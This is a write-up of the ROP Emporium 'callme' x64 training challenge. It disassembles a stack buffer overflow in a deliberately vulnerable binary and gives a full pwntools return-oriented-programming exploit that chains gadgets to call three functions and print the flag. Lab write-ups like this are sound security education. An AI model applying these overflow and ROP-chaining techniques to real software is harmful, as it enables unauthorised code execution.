Rop Emporium callme x64 Writeup
This challenge will test out ability to reliably make consecutive calls to imported functions. Below is an excerpt from the challenge:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
Start by downloading the challenge zip file and unzipping it.
There is an executable named callme and a shared object (library code) called libcallme.so.
$ file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
$ file libcallme.so
libcallme.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=be0ff85ee2d8ff280e7bc612bb2a2709737e8881, not stripped
We see that the callme executable utilizes libcallme.so:
$ ldd ./callme
linux-vdso.so.1 (0x00007c1e6221a000)
libcallme.so => ./libcallme.so (0x00007c1e61e00000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007c1e61c14000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007c1e6221c000)
Ok, let’s run the binary:
$ ./callme
callme by ROP Emporium
x86_64
Hope you read the instructions...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Segmentation fault (core dumped)
Just like before, we are prompted for input and can cause a segfault. The goal of this challenge is to call three functions callme_one
, callme_two
,
and callme_three
in order, each with the arguments 0xdeadbeefdeadbeef, 0xcafebabecafebabe and 0xd00df00dd00df00d.
Let’s find and take note of the addresses for these three functions. You can use objdump -D -M intel callme | grep callme
to get the addresses, or
use rabin2
.
$ rabin2 -i callme | grep callme
3 0x004006f0 GLOBAL FUNC callme_three
7 0x00400720 GLOBAL FUNC callme_one
10 0x00400740 GLOBAL FUNC callme_two
Debugging
Open the program in gdb
and disassemble the vulnerable pwnme
function. Note: I’ve added comments to explain what the assembly is doing.
gef➤ disass pwnme
Dump of assembler code for function pwnme:
0x0000000000400898 <+0>: push rbp ; set up stack frame
0x0000000000400899 <+1>: mov rbp,rsp
0x000000000040089c <+4>: sub rsp,0x20
0x00000000004008a0 <+8>: lea rax,[rbp-0x20] ; char buf[0x20]
0x00000000004008a4 <+12>: mov edx,0x20
0x00000000004008a9 <+17>: mov esi,0x0
0x00000000004008ae <+22>: mov rdi,rax ; call memset to zero out buf
0x00000000004008b1 <+25>: call 0x400700 <memset@plt> ; memset(&buf, 0, 0x20)
0x00000000004008b6 <+30>: mov edi,0x4009f0 ; str = "Hope you read the instructions...\n"
0x00000000004008bb <+35>: call 0x4006d0 <puts@plt> ; puts(str)
0x00000000004008c0 <+40>: mov edi,0x400a13
0x00000000004008c5 <+45>: mov eax,0x0
0x00000000004008ca <+50>: call 0x4006e0 <printf@plt> ; printf("> ")
0x00000000004008cf <+55>: lea rax,[rbp-0x20]
0x00000000004008d3 <+59>: mov edx,0x200
0x00000000004008d8 <+64>: mov rsi,rax
0x00000000004008db <+67>: mov edi,0x0
0x00000000004008e0 <+72>: call 0x400710 <read@plt> ; read(0, &buf, 0x200)
0x00000000004008e5 <+77>: mov edi,0x400a16 ; str = "Thank you!"
0x00000000004008ea <+82>: call 0x4006d0 <puts@plt ; puts(str)
0x00000000004008ef <+87>: nop
0x00000000004008f0 <+88>: leave
0x00000000004008f1 <+89>: ret
End of assembler dump.
So the pwnme
function prints out some messages, read our input and stores it in a buffer on the stack. The buffer is 0x20 (32) bytes
large, and the read function reads in up to 0x200 (512) bytes! This bug is what led to the buffer overflow and segfault earlier.
To exploit this binary, we need to overwrite the buffer and the base pointer (rbp) with junk and call the three target functions with three arguments.
Remember that in x64, the first three arguments to a function will be stored in the registers rdi
, rsi
, and rdx
. There is a function
in the callme executable named usefulGadgets
that has the exact ROP gadgets we need!
gef➤ disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x000000000040093c <+0>: pop rdi
0x000000000040093d <+1>: pop rsi
0x000000000040093e <+2>: pop rdx
0x000000000040093f <+3>: ret
End of assembler dump.
Test Exploit
I am going to skip finding the offset to rsp
since it is always 40 bytes in these challenges (a 32 byte buffer + 8 byte rbp).
#!/usr/bin/env python3
from pwn import *
io = process("./callme")
# usefulGadgets address
# pop rdi; pop rsi; pop rdx; ret
rop_gadgets = p64(0x40093c)
callme_one = p64(0x400720)
# Fill 32B buffer and rbp
payload = b"A" * 40
# Load arguments for callme_one
payload += rop_gadgets
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
# Call callme_one
payload += callme_one
io.sendline(payload)
print(io.clean().decode())
An run it
$ python3 exploit.py.bak
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
Sweet baby! We successfully loaded the arguments into the registers and utilized the rop gadgets to call the callme_one function! Let’s do the same for the other two functions. This should be easy since we can reuse the arguments and the rop gadgets.
Final Exploit
#!/usr/bin/env python3
from pwn import *
io = process("./callme")
# usefulGadgets address
# pop rdi; pop rsi; pop rdx; ret
rop_gadgets = p64(0x40093c)
callme_one = p64(0x400720)
callme_two = p64(0x400740)
callme_three = p64(0x4006f0)
# Fill 32B buffer and rbp
payload = b"A" * 40
# Load arguments for callme_one
payload += rop_gadgets
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
# Call callme_one
payload += callme_one
# Load arguments for callme_two
payload += rop_gadgets
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
# Call callme_two
payload += callme_two
# Load arguments for callme_three
payload += rop_gadgets
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
# Call callme_three
payload += callme_three
# Send payload and print results
io.sendline(payload)
print(io.clean().decode())
Run it to get the flag
$ python3 exploit.py.bak
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
Note that your addresses may be different. Happy hacking! :)